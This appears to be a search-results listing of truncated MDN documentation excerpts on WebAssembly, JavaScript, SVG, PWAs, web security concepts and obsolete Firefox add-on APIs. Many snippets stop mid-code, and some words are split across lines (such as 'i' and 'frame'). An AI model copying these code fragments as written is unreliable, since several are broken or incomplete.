... var importobject = { imports: { imported_func: function(arg) { console.log(arg); } } }; onmessage = function(e) { console.log('module received
from main thread'); var mod = e.data; webassembly.instantiate(mod, importobject).then(function(instance) { instance.exports.exported_func(); }); }; specifications specification webassembly javascript interfacethe definition of 'webassembly.module()' in that specification.
... browser compatibility the compatibility table on this page is generated
from structured data.
WebAssembly.Table - JavaScript
a table created by javascript or in webassembly code will be accessible and mutable
from both javascript and webassembly.
... so after instantiation, the table still has length 2, but the elements now contain callable exported webassembly functions which we can call
from js.
... this example shows that we're creating and accessing the table
from javascript, but the same table is visible and callable inside the wasm instance too.
... browser compatibility the compatibility table on this page is generated
from structured data.
yield - JavaScript
syntax [rv] = yield [expression] expression optional defines the value to return
from the generator function via the iterator protocol.
... yield can only be called directly
from the generator function that contains it.
... it cannot be called
from nested functions or
from callbacks.
... throw is used to throw an exception
from the generator.
for...in - JavaScript
objects created
from built–in constructors like array and object have inherited non–enumerable properties
from object.prototype and string.prototype, such as string's indexof() method or object's tostring() method.
... the loop will iterate over all enumerable properties of the object itself and those the object inherits
from its prototype chain (properties of nearer prototypes take precedence over those of prototypes further away
from the object in its prototype chain).
...properties added to the object over which iteration is occurring may either be visited or omitted
from iteration.
... in general, it is best not to add, modify, or remove properties
from the object during iteration, other than the property currently being visited.
function* - JavaScript
when the iterator's next() method is called, the generator function's body is executed until the first yield expression, which specifies the value to be returned
from the iterator or, with yield*, delegates to another generator function.
...calling the next() method with an argument will resume the generator function execution, replacing the yield expression where an execution was paused with the argument
from next().
....log(gen.next().value); // 10 console.log(gen.next().value); // 11 console.log(gen.next().value); // 12 console.log(gen.next().value); // 13 console.log(gen.next().value); // 20 passing arguments into generators function* loggenerator() { console.log(0); console.log(1, yield); console.log(2, yield); console.log(3, yield); } var gen = loggenerator(); // the first call of next executes
from the start of the function // until the first yield statement gen.next(); // 0 gen.next('pretzel'); // 1 pretzel gen.next('california'); // 2 california gen.next('mayonnaise'); // 3 mayonnaise return statement in a generator function* yieldandreturn() { yield "y"; return "r"; yield "unreachable"; } var gen = yieldandreturn() console.log(gen.next()); // { value: "y", done...
... value: 1, done: false } console.log(gen.next()); // { value: 2, done: false } console.log(gen.next()); // { value: 3, done: false } console.log(gen.next()); // { value: undefined, done: true } generator as a computed property class foo { *[symbol.iterator] () { yield 1; yield 2; } } const someobj = { *[symbol.iterator] () { yield 'a'; yield 'b'; } } console.log(array.
from(new foo)); // [ 1, 2 ] console.log(array.
from(someobj)); // [ 'a', 'b' ] generators are not constructable function* f() {} var obj = new f; // throws "typeerror: f is not a constructor generator defined in an expression const foo = function* () { yield 10; yield 20; }; const bar = foo(); console.log(bar.next()); // {value: 10, done: false} generator example function* powers(n){ ...
try...catch - JavaScript
if any statement within the try-block (or in a function called
from within the try-block) throws an exception, control is immediately shifted to the catch-block.
... unconditional catch-block when a catch-block is used, the catch-block is executed when any exception is thrown
from within the try-block.
... returning
from a finally-block if the finally-block returns a value, this value becomes the return value of the entire try-catch-finally statement, regardless of any return statements in the try and catch-blocks.
...the same would apply to any value returned
from the catch-block.
<mtable> - MathML
a negative integer value counts rows
from the bottom of the table.
...
frame specifies borders of the entire table.
...
framespacing specifies additional space added between the table and
frame.
... examples alignment with row number rendering: <math> <mi>x</mi> <mo>=</mo> <mtable
frame="solid" rowlines="solid" align="axis 3"> <mtr> <mtd><mi>a</mi></mtd> <mtd><mi>b</mi></mtd> </mtr> <mtr> <mtd><mi>c</mi></mtd> <mtd><mi>d</mi></mtd> </mtr> <mtr> <mtd><mi>e</mi></mtd> <mtd><mi>f</mi></mtd> </mtr> </mtable> </math> specifications specific...
Recommended Web Performance Timings: How long is too long? - Web Performance
the first asset retrieved
from a request is usually an html document, which then makes calls for additional assets.
... animation goal for scrolling and other animations to look smooth and feel responsive, the content repaints should occur at 60
frames per second (60fps), which is once every 16.7ms.
...realize a document takes about 6ms to render a
frame, leaving about 10ms for the rest.
... anything less than 60fps, especially an un-even or changing
frame rate, will appear janky.
Installing and uninstalling web apps - Progressive web apps (PWAs)
installation is supported by chrome for android and android webview version 31 and later, opera for android 32 onward, samsung internet
from version 4 onward, and firefox for android version 58 and later.
... the ui for this varies
from browser to browser, but the general idea is the same.
... note: you can find out a lot more about chrome install banners
from the article web app install banners.
...among the options should be the "add to home screen" option, unless it's been specifically removed
from the list by the user editing the optons displayed: choosing "add to home screen" here presents the confirmation dialog box, which not only confirms that the user wants to add the app to the home screen, but also lets the user customize its name.
Media - Progressive web apps (PWAs)
in css, you can use @import at the start of a stylesheet to import another stylesheet
from a url, optionally specifying the media type.
...er over it e:focus any e element that has keyboard focus e:active the e element that is involved in the current user action e:link any e element that is a hyperlink to a url that the user has not visited recently e:visited any e element that is a hyperlink to a url that the user has visited recently note: the information that can be obtained
from the :visited selector is restricted in gecko 2.0.
...copy and paste the content
from here: <!doctype html> <html> <head> <title>print sample</title> <link rel="stylesheet" href="style4.css"> </head> <body> <h1>section a</h1> <p>this is the first section...</p> <h1>section b</h1> <p>this is the second section...</p> <div id="print-head"> heading for paged media </div> <div id="print-foot"> page: </div> </body> </html> ...
...copy and paste the content
from here: /*** print sample ***/ /* defaults for screen */ #print-head, #print-foot { display: none; } /* print only */ @media print { h1 { page-break-before: always; padding-top: 2em; } h1:first-child { page-break-before: avoid; counter-reset: page; } #print-head { display: block; position: fixed; top: 0pt; left:0pt; right: 0pt; font-size: 200%; text-align: center; } #print-foot { display: block; position: fixed; bottom: 0pt; right: 0pt; font-size: 200%; } #print-foot:after { content: counter(page); counter-increment: page; } } /* end print only */ view this document in your browser.
display - SVG: Scalable Vector Graphics
the display attribute only affects the direct rendering of a given element, whereas it does not prevent elements
from being referenced by other elements.
... for example, setting it to none on a <path> element will prevent that element
from getting rendered directly onto the canvas, but the <path> element can still be referenced by a <textpath> element; furthermore, its geometry will be used in text-on-a-path processing even if the <path> has a display value of none.
...thus, setting display="none" on a child of a <mask> will prevent the given child element
from being rendered as part of the mask.
... similarly, setting display="none" on a child of a <clippath> element will prevent the given child element
from contributing to the clipping path.
fill-rule - SVG: Scalable Vector Graphics
ed" points="150,0 121,90 198,35 102,35 179,90"/> </svg> usage notes value nonzero | evenodd default value nonzero animatable yes the fill-rule attribute provides two options for how the inside (that is, the area to be filled) of a shape is determined: nonzero the value nonzero determines the "insideness" of a point in the shape by drawing a ray
from that point to infinity in any direction, and then examining the places where a segment of the shape crosses the ray.
... starting with a count of zero, add one each time a path segment crosses the ray
from left to right and subtract one each time a path segment crosses the ray
from right to left.
... <!-- effect of nonzero fill rule on a shape inside a shape with the path segment moving in the opposite direction (one square drawn clockwise, the other anti-clockwise) --> <path fill-rule="nonzero" stroke="red" d="m210,0 h90 v90 h-90 z m230,20 v50 h50 v-50 z"/> </svg> evenodd the value evenodd determines the "insideness" of a point in the shape by drawing a ray
from that point to infinity in any direction and counting the number of path segments
from the given shape that the ray crosses.
...30,20 h50 v50 h-50 z"/> <!-- effect of evenodd fill rule on a shape inside a shape with the path segment moving in opposite direction (one square drawn clockwise, the other anti-clockwise) --> <path fill-rule="evenodd" stroke="red" d="m210,0 h90 v90 h-90 z m230,20 v50 h50 v-50 z"/> </svg> browser compatibility the compatibility table on this page is generated
from structured data.
href - SVG: Scalable Vector Graphics
note that if the target element is not part of the current svg document
fragment, then whether the target element will be removed or not is defined by the host language.
...if this element has no children, and the referenced element does (possibly due to its own href attribute), then this element inherits the children
from the referenced element.
... value <url> default value none animatable yes use for <use>, href defines a url referring to an element or
fragment within an svg document to be cloned.
... the <use> element can reference an entire svg document by specifying an href value without a
fragment.
numOctaves - SVG: Scalable Vector Graphics
an octave is a noise function defined by its
frequency and amplitude.
... a turbulence is built by accumulating several octaves with increasing
frequencies and decreasing amplitudes.
... only one element is using this attribute: <feturbulence> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="noise1" x="0" y="0" width="100%" height="100%"> <feturbulence base
frequency="0.025" numoctaves="1" /> </filter> <filter id="noise2" x="0" y="0" width="100%" height="100%"> <feturbulence base
frequency="0.025" numoctaves="3" /> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#noise1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#noise2); transform: translatex(220px);" /> </svg> usage notes va...
... example <svg width="200" height="200" viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence base
frequency="0.05" numoctaves="3" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> specifications specification status comment filter effects module level 1the definition of 'numoctaves' in that specification.
requiredFeatures - SVG: Scalable Vector Graphics
to detect availability of an svg feature
from script, there is the (also deprecated) domimplementation.hasfeature() method.
...note that the format and naming for feature strings changed
from svg 1.0 to svg 1.1.
... http://www.w3.org/tr/svg11/feature#svg-animation the browser supports all of the language features
from http://www.w3.org/tr/svg11/feature#svg-static plus the feature http://www.w3.org/tr/svg11/feature#animation.
... http://www.w3.org/tr/svg11/feature#svg-dynamic the browser supports all of the language features
from http://www.w3.org/tr/svg11/feature#svg-animation plus the following features: http://www.w3.org/tr/svg11/feature#hyperlinking http://www.w3.org/tr/svg11/feature#scripting http://www.w3.org/tr/svg11/feature#view http://www.w3.org/tr/svg11/feature#cursor http://www.w3.org/tr/svg11/feature#graphicaleventsattribute http://www.w3.org/tr/svg11/feature#documenteventsattribute http://www.w3.org/tr/svg11/feature#animationeventsattribute http://www.w3.org/tr/svg11/...
spreadMethod - SVG: Scalable Vector Graphics
in the case of a radial gradient, the edges may be defined as outer and inner circles by the cx, cy and r (outer) and fx, fy and
fr (inner) attributes.
... examples of spreadmethod with radial gradients svg <svg width="340" height="120" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="radialpadgradient" cx="75%" cy="25%" r="33%" fx="64%" fy="18%"
fr="17%"> <stop offset="0%" stop-color="fuchsia"/> <stop offset="100%" stop-color="orange"/> </radialgradient> <radialgradient id="radialreflectgradient" spreadmethod="reflect" cx="75%" cy="25%" r="33%" fx="64%" fy="18%"
fr="17%"> <stop offset="0%" stop-color="fuchsia"/> <stop offset="100%" stop-color="ora...
...nge"/> </radialgradient> <radialgradient id="radialrepeatgradient" spreadmethod="repeat" cx="75%" cy="25%" r="33%" fx="64%" fy="18%"
fr="17%"> <stop offset="0%" stop-color="fuchsia"/> <stop offset="100%" stop-color="orange"/> </radialgradient> </defs> <rect fill="url(#radialpadgradient)" x="10" y="10" width="100" height="100"/> <rect fill="url(#radialreflectgradient)" x="120" y="10" width="100" height="100"/> <rect fill="url(#radialrepeatgradient)" x="230" y="10" width="100" height="100"/> </svg> result specifications specification status comment scalable vector graphics (svg) 2the definition of 'spreadmethod for <radialgradient>' in that sp...
... recommendation initial definition for <lineargradient> browser compatibility the compatibility table on this page is generated
from structured data.
<use> - SVG: Scalable Vector Graphics
the <use> element takes nodes
from within the svg document, and duplicates them somewhere else.
...(this differs
from how css style attributes override those set 'earlier' in the cascade).
... attributes href the url to an element/
fragment that needs to be duplicated.
... value type: <url> ; default value: none; animatable: yes xlink:href an <iri> reference to an element/
fragment that needs to be duplicated.
Getting started - SVG: Scalable Vector Graphics
(firefox users: click here) the rendering process involves the following: we start with the <svg> root element: a doctype declaration as known
from (x)html should be left off because dtd based svg validation leads to more problems than it solves before svg 2, to identify the version of the svg for other types of validation the version and baseprofile attributes should always be used instead.
... a green circle <circle> with a radius of 80px is drawn atop the center of the red rectangle (center of circle offset 150px to the right, and 100px downward
from the top left corner).
... the svg file can be referenced with an object element: <object data="image.svg" type="image/svg+xml" /> likewise an i
frame element can be used: <i
frame src="image.svg"></i
frame> an img element can theoretically be used too.
...unfortunately, it is very problematic to get gzip-compressed svg files to work reliably across all svg capable user agents when served
from a microsoft iis server, and firefox cannot load gzip-compressed svg
from the local computer.
Tools for SVG - SVG: Scalable Vector Graphics
from this time stems the good support of svg in illustrator.
... other renderers several projects exist that can create a raster image
from an svg source.
... snap.svg url: snapsvg.io a newer javascript abstraction layer
from the same author of raphael js.
... google docs url: www.google.com/google-d-s/drawings/ drawings
from google docs can be exported as svg.
Insecure passwords - Web security
the https protocol is designed to protect user data
from eavesdropping (confidentiality) and
from modification (integrity) on the network.
... websites that handle user data should use https to protect their users
from attackers.
...there are various vendors offering
free and paid certificates.
...attackers are getting smarter; they steal username/password pairs
from one site and then try reusing them on more lucrative sites.
Mixed content - Web security
when a user visits a page served over https, their connection with the web server is encrypted with tls and is therefore safeguarded
from most sniffers and man-in-the-middle attacks.
...this type of mixed content can alter the behavior of the https page and potentially steal sensitive data
from the user.
...if the webpage is public and has no sensitive data about the user, using mixed active content still provides the attacker with the opportunity to redirect the user to other http pages and steal http cookies
from those sites.
... active content examples this section lists some types of http requests which are considered active content: <script> (src attribute) <link> (href attribute) (this includes css stylesheets) <i
frame> (src attribute) xmlhttprequest requests fetch() requests all cases in css where a <url> value is used (@font-face, cursor, background-image, and so forth).
Securing your site - Web security
http access control the cross-origin resource sharing standard provides a way to specify what content may be loaded
from other domains.
... you can use this to prevent your site
from being used improperly; in addition, you can use it to establish resources that other sites are expressly permitted to use.
...these attacks are used for everything
from data theft to site defacement or distribution of malware.
... the x-
frame-options response header the x-
frame-options: http response header can be used to indicate whether or not a browser should be allowed to render a page in a <
frame>.
Subdomain takeovers - Web security
if an attacker can do this, they can potentially read cookies set
from the main domain, perform cross-site scripting, or circumvent content security policies, thereby enabling them to capture protected information (including logins) or send malicious content to unsuspecting users.
...however, if you remove your appliance
from the outlet (or haven’t plugged one in yet), someone can plug in a different one.
... you must cut power at the breaker or fuse box (dns) to prevent the outlet
from being used by someone else.
... you (or your company) decide that you no longer want to maintain a blog, so you remove the virtual host
from the hosting provider.
Index - XPath
35 last xslt, xslt_reference the last function returns a number equal to the context size
from the expression evaluation context.
... 39 normalize-space xslt, xslt_reference the normalize-space function strips leading and trailing white-space
from a string, replaces sequences of whitespace characters by a single space, and returns the resulting string.
... 42 position xslt, xslt_reference the position function returns a number equal to the context position
from the expression evaluation context.
... 55 index index, reference, xpath, xslt found 57 pages: 56 introduction to using xpath in javascript add-ons, dom, extensions, javascript, transforming_xml_with_xslt, web development, xml, xpath, xslt this document describes the interface for using xpath in javascript internally, in extensions, and
from websites.
Loading and running WebAssembly code - WebAssembly
the newer webassembly.compilestreaming/webassembly.instantiatestreaming methods are a lot more efficient — they perform their actions directly on the raw stream of bytes coming
from the network, cutting out the need for the arraybuffer step.
... the quickest, most efficient way to fetch a wasm module is using the newer webassembly.instantiatestreaming() method, which can take a fetch() call as its first argument, and will handle fetching, compiling, and instantiating the module in one step, accessing the raw byte code as it streams
from the server: webassembly.instantiatestreaming(fetch('simple.wasm'), importobject) .then(results => { // do something with the results!
..., importobject) .then(obj => { // call an exported function: obj.instance.exports.exported_func(); // or access the buffer contents of an exported memory: var i32 = new uint32array(obj.instance.exports.memory.buffer); // or access the elements of an exported table: var table = obj.instance.exports.table; console.log(table.get(0)()); }) note: for more information on how exporting
from a webassembly module works, have a read of using the webassembly javascript api, and understanding webassembly text format.
... we then use the onload event handler to invoke a function when the response has finished downloading — in this function we get the array buffer
from the response property, and then feed that into our webassembly.instantiate() method as we did with fetch.
Content Processes - Archive of obsolete content
afterwards, it was decided to keep the design the way it is: even though it's no longer necessary, it turns out that
from a security point of view there are several important advantages to thinking about content and add-on code as living in different processes.
...content scripts differ
from scripts that are loaded by the page itself in that they are provided with a messaging api that can be used to send messages back to the add-on script.
...conversely, any properties defined on the wrapper are not visible
from the wrapped object.
Guides - Archive of obsolete content
content processes the sdk was designed to work in an environment where the code to manipulate web content runs in a different process
from the main add-on code.
... sdk in
frastructure module structure of the sdk the sdk, and add-ons built using it, are of composed
from reusable javascript modules.
... sdk idioms working with events write event-driven code using the the sdk's event emitting
framework.
passwords - Archive of obsolete content
remove stored credentials
from the password manager.
... realm you can use this as a name for the credential, to distinguish it
from any other credentials you've stored.
... require("sdk/passwords").search({ username: "joe", url: "https://www.google.com", oncomplete: function oncomplete(credentials) { credentials.foreach(function(credential) { console.log(credential.username); console.log(credential.password); }); } }); } to retrieve only credentials associated with your add-on, use the url property, initialized
from self.uri: function show_my_addon_passwords() { require("sdk/passwords").search({ url: require("sdk/self").uri, oncomplete: function oncomplete(credentials) { credentials.foreach(function(credential) { console.log(credential.username); console.log(credential.password); }); } }); } parameters options : object required options: name...
content/loader - Archive of obsolete content
symbiont inherits
from loader but contains its own
frame into which it loads content supplied as the contenturl option.
... example: the following code creates a wrapper on a hidden
frame that reloads a web page in the
frame every time the contenturl property is changed: var hidden
frames = require("sdk/
frame/hidden-
frame"); var { loader } = require("sdk/content/content"); var pageloader = loader.compose({ constructor: function pageloader(options) { options = options || {}; if (options.contenturl) this.contenturl = options.contenturl; this.on('propertychange', this._onchange = this._onchange.bind(this)); let self = this; hidden
frames.add(hidden
frames.hidden
frame({ onready: function onready() { let
frame = self._
frame = this.element; self._emit('propertychange', { contenturl: self.contenturl }); } })); }, _onchange: function _onchange(e) { if (...
...'contenturl' in e) this._
frame.setattribute('src', this._contenturl); } }); loader properties contentscriptfile the local file urls of content scripts to load.
io/file - Archive of obsolete content
apart
from these options, this api always passes the following options: create_file, truncate (see //github.com/realityripple/uxp/blob/master/nsprpub/pr/include/prio.h#550).
... remove(path) removes a file
from the file system.
... rmdir(path) removes a directory
from the file system.
ui/button/action - Archive of obsolete content
if a property value for a node in the tree has not been set explicitly using state(), then it inherits its value
from the next level up.
... so if you have one window containing two tabs, and have set the button's label only for tab a, then tab b will inherit label's value
from the window, and changing the value for the window will implicitly change the value for tab b.
...after that, the property will inherit its value
from the less-specific state as before: var { actionbutton } = require('sdk/ui/button/action'); var tabs = require("sdk/tabs"); var button = actionbutton({ id: "my-button", label: "default label", icon: "./firefox-16.png" }); tabs.open({ url: "https://mozilla.org/", onopen: onnewtab }); function onnewtab(tab) { // modify the label only for the new tab button.state(tab, { "label" : "tab-specific label" }); // modify the label for the window button.state("window", { "label" : "window-specific label" }); // access the global label -> "default label" console.log(button.label); // access the window's label -> "window-specific label" ...
window/utils - Archive of obsolete content
usage private windows with this module your add-on will see private browser windows even if it has not explicitly opted into private browsing, so you need to take care not to store any user data derived
from private browser windows.
... returns nsidomelement get
frames(window) get the
frames contained by the given window.
... parameters window : nsidomwindow returns array: array of
frames.
package.json - Archive of obsolete content
some of its entries, such as icon, name, and description, have direct analogues in the install manifest format, and entries
from package.json are written into the install manifest when the add-on is built using jpm xpi.
...it looks like this (assuming the add-on's directory is "my-addon"): { "name": "my-addon", "title": "my-addon", "id": "jid1-1fergv45e4f4f@jetpack", "description": "a basic add-on", "author": "", "license": "mpl-2.0", "version": "0.1" } if you are using the new jpm tool, you can easily access manifest data
from package.json by requiring it like any other module: var title = require("./package.json").title; key reference package.json may contain the following keys: author the name of the package's original author; this could be the name of a person or a company.
... cross-domain-content: a list of domains for which content scripts are given cross-domain privileges to access content in i
frames or to make xmlhttprequests.
Add a Context Menu Item - Archive of obsolete content
you should see the new item appear: click it, and the selection is logged to the console (or the shell, if you're running an instance of firefox
from the command line): info: elephantine lizard details all this add-on does is to construct a context menu item.
... onmessage the onmessage property provides a way for the add-on code to respond to messages
from the script attached to the context menu item.
...
from firefox 35 you can specify an access key using the accesskey option.
Display a Popup - Archive of obsolete content
ex.js: the main add-on code, that creates the button and panel get-text.js: the content script that interacts with the panel content text-entry.html: the panel content itself, specified as html icon-16.png, icon-32.png, and icon-64.png: icons for the button in three different sizes the "index.js" looks like this: var data = require("sdk/self").data; // construct a panel, loading its content
from the "text-entry.html" // file in the "data" directory, and loading the "get-text.js" script // into it.
...text_entry.on("show", function() { text_entry.port.emit("show"); }); // listen for messages called "text-entered" coming
from // the content script.
... text = textarea.value.replace(/(\r\n|\n|\r)/gm,""); self.port.emit("text-entered", text); textarea.value = ''; } }, false); // listen for the "show" event being sent
from the // main add-on code.
Developing for Firefox Mobile - Archive of obsolete content
console.log() output
from your add-on is written to the command shell, just as it is in desktop development.
...sole/plain-text supported console/traceback supported content/content supported content/loader supported content/mod supported content/worker supported core/heritage supported core/namespace supported core/promise supported event/core supported event/target supported
frame/hidden-
frame supported
frame/utils supported io/byte-streams supported io/file supported io/text-streams supported lang/functional supported lang/type supported loader/cuddlefish supported loader/sandbox supported net/url supported net/xhr supported places/bookmar...
...ystem/runtime supported system/unload supported system/xul-app supported tabs/utils supported test/assert supported test/harness supported test/httpd supported test/runner supported test/utils supported ui/button/action not supported ui/button/toggle not supported ui/
frame not supported ui/id supported ui/sidebar not supported ui/toolbar not supported util/array supported util/collection supported util/deprecate supported util/list supported util/match-pattern supported util/object supported util/uuid supported window/utils suppo...
Using third-party modules (jpm) - Archive of obsolete content
you can use jpm
from firefox 38 onwards.
...module developers can publish sdk modules to npm, and add-on developers can install them
from npm and build them into their add-ons.
...in your add-on code, you can require() modules by passing a path to the module starting
from, but not including "node_modules": var menuitems = require("menuitem"); details create a new directory called, for example, "my-menuitem", navigate to it, type "jpm init" and accept all the defaults: mkdir my-menuitem cd my-menuitem jpm init install the menuitem package
from npm: npm install menuitem --save this will install the package in the current directory, under a directory called...
Drag & Drop - Archive of obsolete content
dropping files onto an xul application it's possible to setup drag and drop events to handle dropping files
from external applications or os file managers onto your xul-based application.
...gdrop(aevent) { var dragservice = components.classes["@mozilla.org/widget/dragservice;1"].getservice(components.interfaces.nsidragservice); var dragsession = dragservice.getcurrentsession(); var _ios = components.classes['@mozilla.org/network/io-service;1'].getservice(components.interfaces.nsiioservice); var uris = new array(); // if sourcenode is not null, then the drop was
from inside the application if (dragsession.sourcenode) return; // setup a transfer item to retrieve the file data var trans = components.classes["@mozilla.org/widget/transferable;1"].createinstance(components.interfaces.nsitransferable); trans.adddataflavor("text/x-moz-url"); trans.adddataflavor("application/x-moz-file"); for (var i=0; i<dragsession.numdropitems; i++...
...the _dragdrop function retrieves the file uri data
from the drag session and creates an array of file uris that the xul application can use.
HTML in XUL for rich tooltips - Archive of obsolete content
dynamic html in xul tooltip insert the appropriate code
from below into your xul overlay.
...document.getelementbyid("myhtmltipdiv"); //clear the html div element of any prior shown custom html while(div.firstchild) div.removechild(div.firstchild); //safely convert html string to a simple dom object, stripping it of javascript and more complex tags var injecthtml = components.classes["@mozilla.org/feed-unescapehtml;1"] .getservice(components.interfaces.nsiscriptableunescapehtml) .parse
fragment(txt, false, null, div); //attach the dom object to the html div element div.appendchild(injecthtml); } } window.addeventlistener('load', htmltip.onload, false); in the xul overlay, xmlns:html is used to enable html tags to be used inside the xul.
...for security reasons, the conversion will strip out some of the more dangerous elements in the html string, like javascript and i
frames.
JS XPCOM - Archive of obsolete content
accessing xpcom components
from javascript xpcom objects are either created as new instances (each creation gives you a completely new com object) or as services (each access gives you the same com object, often called a singleton).
...ocal;1", "nsifile", "initwithpath"); var file = new nsfile(filepath); they can also be created and initialized manually: var file = components.classes["@mozilla.org/file/local;1"] .createinstance(components.interfaces.nsifile); file.initwithpath(filepath); this creates a new instance of the object with contract id @mozilla.org/file/local;1 and allows you to call methods
from the nsifile interface on it.
...with the preferences service
from the previous example we can do the following: var preferences = preferences.queryinterface(components.interfaces.nsiprefbranch2); this allows you to use the methods in the nsiprefbranch2 interface.
JavaScript Debugger Service - Archive of obsolete content
jsd.scripthook = { onscriptcreated: function(script) { // your function here }, onscriptdestroyed: function(script) { // your function here } }; jsd.errorhook = { onerror: function(message, filename, lineno, colno, flags, errnum, exc) { // your function here } }; // triggered when jsd.errorhook[onerror] returns false jsd.debughook = { onexecute: function(
frame, type, rv) { // your function here } }; jsd.enumeratescripts({ // the enumeratescript method will be called once for every script jsd knows about enumeratescript: function(script) { // your function here } }); a simple stack trace here, we will show how to implement a simple javascript stack trace using the jsd.
... if (flags & jsdierrorhook.report_strict) messagetype += "-strict"; dump(messagetype + "\n"); return false; // trigger debughook // return true; if you do not wish to trigger debughook } }; // note that debughook does not _always_ trigger when jsd.errorhook[onerror] returns false // it is not well-known why debughook sometimes fails to trigger jsd.debughook = { onexecute: function(
frame, type, rv) { stacktrace = ""; for (var f =
frame; f; f = f.calling
frame) { stacktrace += f.script.filename + "@" + f.line + "@" + f.functionname + "\n"; } dump(stacktrace); return components.interfaces.jsdiexecutionhook.return_continue; } }; filters jsd also allows the use of filters to track which scripts should trigger the hooks.
... jsd.clearfilters(); // clear the list of filters // we exclude the scripts with the following filenames
from being tracked jsd.appendfilter(createfilter("*/firefox/components/*")); jsd.appendfilter(createfilter("*/firefox/modules/*")); jsd.appendfilter(createfilter("xstringbundle")); jsd.appendfilter(createfilter("chrome://*")); jsd.appendfilter(createfilter("x-jsd:ppbuffer*")); jsd.appendfilter(createfilter("xpcsafejsobjectwrapper.cpp")); jsd.appendfilter(createfilter("file://*")); note that append...
Sidebar - Archive of obsolete content
to open a page in the "viewwebpanelssidebar"
from chrome code (browser/addon/extension) such as
from menuitem, it can call: openwebpanel(atitle, auri); accessing the sidebar
from a browser.xul script the sidebar content is always in a document separate
from the main browser document (the sidebar is actually implemented as a xul browser element).
... this means you can't directly access the sidebar content
from a script referenced
from a browser.xul overlay.
...the good practice to determine which sidebar is open at a time is by testing in location property, which is a chrome url: var sidebarwindow = document.getelementbyid("sidebar").contentwindow; if (sidebarwindow.location.href == "chrome://yourextension/content/whatever.xul") { // act on the sidebar content } for example to test if the web panel
from firefox is open: var sidebarwindow = document.getelementbyid("sidebar").contentwindow; if (sidebarwindow.location.href == "chrome://browser/content/web-panels.xul") { // act on the sidebar content only if it is the web panels } accessing the browser.xul window
from a sidebar script see accessing the elements of the top-level document
from a child window section of working with windows in...
View Source for XUL Applications - Archive of obsolete content
apagedescriptor (optional) a "descriptor" that allows the source to be retrieved
from the network cache.
... this is usually gotten
from the nsiwebpagedescriptor interface via currentdescriptor.
... adocument (optional) the content document that we're attempting to load the source
from.
Windows - Archive of obsolete content
a pop-up window that could be "blocked" client-side //the following code generate an error as describe in the following warning box var wm = components.classes["@mozilla.org/appshell/window-mediator;1"] .getservice(components.interfaces.nsiwindowmediator); var newwindow = wm.getmostrecentwindow("navigator:browser"); var b = newwindow.gbrowser; the code generate a typeerror
from firefox console.
... re-using and focusing named windows while specifying the name parameter to window.open or window.opendialog will prevent multiple windows of that name
from opening, each call will actually re-initialize the window and thus lose whatever state the user has put it in.
... additionally, if the window is in the background, it may not be brought to the
front.
Communication between HTML and your extension - Archive of obsolete content
with a lot of help
from irc://irc.mozilla.org#js and irc://irc.mozilla.org#extdev i was able to get it running pretty well, but i still would rather have the client less responsible for pinging the extension to "look" for what is on the page.
...
from what i gather, xbl components are more designed for creating custom components and their specific component behavior rather than trying to impose some kind of messaging on existing components.
...i wasn't sure about the difference between the capture or bubbling flag that you pass to addeventlistener but every time i would catch the event in the extension, the element
from the ajax request wasn't fully updated into the html page.
Custom about: URLs - Archive of obsolete content
const {classes: cc, interfaces: ci, manager: cm, results: cr, utils: cu, constructor: cc} = components; cm.queryinterface(ci.nsicomponentregistrar); components.utils.import("resource://gre/modules/services.jsm"); // globals const aboutpage_description = 'this is my custom about page'; const aboutpage_id = 'aa132730-2278-11e5-867f-0800200c9a66'; // make sure you generate a unique id
from https://www.famkruithof.net/uuid/uuidgen const aboutpage_word = 'myaboutpage' const aboutpage_uri = 'data:text/html,hi this is the page that is shown when navigate to about:myaboutpage'; // const aboutpage_uri = 'chrome://myaboutaddon/content/index.html'; class aboutpage { static get classid() { return components.id(`{${aboutpage_id}}`); } static get classdescription() { return aboutpage_...
...description; } static get contractid() { return `@mozilla.org/network/protocol/about;1?what=${aboutpage_word}`; } static get queryinterface() { return xpcomutils.generateqi([ci.nsiaboutmodule]); } constructor() { object.
freeze(this); } geturiflags(auri) { return ci.nsiaboutmodule.allow_script; } newchannel(auri, asecurity_or_aloadinfo) { let channel; if (services.vc.compare(services.appinfo.version, '47.*') > 0) { const uri = services.io.newuri(aboutpage_uri, null, null); // greater than or equal to firefox48 so asecurity_or_aloadinfo is aloadinfo channel = services.io.newchannel
fromuriwithloadinfo(uri, asecurity_or_aloadinfo); } else { channel = services.io.newchannel(aboutpage_uri, null, null); } channel.originalu...
...ri = auri; return channel; } } class factory { constructor(component) { this.component = component; this.register(); object.
freeze(this); } createinstance(outer, iid) { if (outer) { throw cr.ns_error_no_aggregation; } return new this.component(); } register() { cm.registerfactory(this.component.classid, this.component.classdescription, this.component.contractid, this); } unregister() { cm.unregisterfactory(this.component.prototype.classid, this); } } instantiation firefox 4+ now in the startup procedure of your bootstrapped addon make sure to do register the factory, for example: let factory; function startup(adata, areason) { // ...
Multiple item extension packaging - Archive of obsolete content
from the release of firefox 53, multiple item extension packages are no longer supported and will not load.
... when specifying em:targetapplication the minversion specified should be the highest minversion and the maxversion specified should be the lowest maxversion
from all of the installable bundles contained by the multiple item package for the em:targetapplication.
...note that this page is included
from the pages listed below.
Chapter 1: Introduction to Extensions - Archive of obsolete content
« previousnext » note: if you want contribute to this document please following guidelines
from the contribute page.
... because firefox and its extensions are designed to support multiple languages, excellent extensions come
from all over the world, and can be quickly localized by anyone interested.
... prefbar gives access to numerous preferences
from the toolbar.
Getting Started with Firefox Extensions - Archive of obsolete content
they can add anything
from a toolbar button to a completely new feature.
... taken
from the extensions page.
...issue the following command to unzip the file on linux or mac os x: unzip xulschoolhello1.xpi -d xulschoolhello1 on windows, you can change the file extension
from xpi to zip, or open the file directly, then unzip it, using a zip tool.
Useful Mozilla Community Sites - Archive of obsolete content
this is the best way to get your extension to users
from all around the world.
... mozdev mozdev.org provides
free project hosting and software development tools for mozilla applications and add-ons.
...there are other
free hosting sites such as souceforge and google code that are also very good, but not as specialized as mozdev.
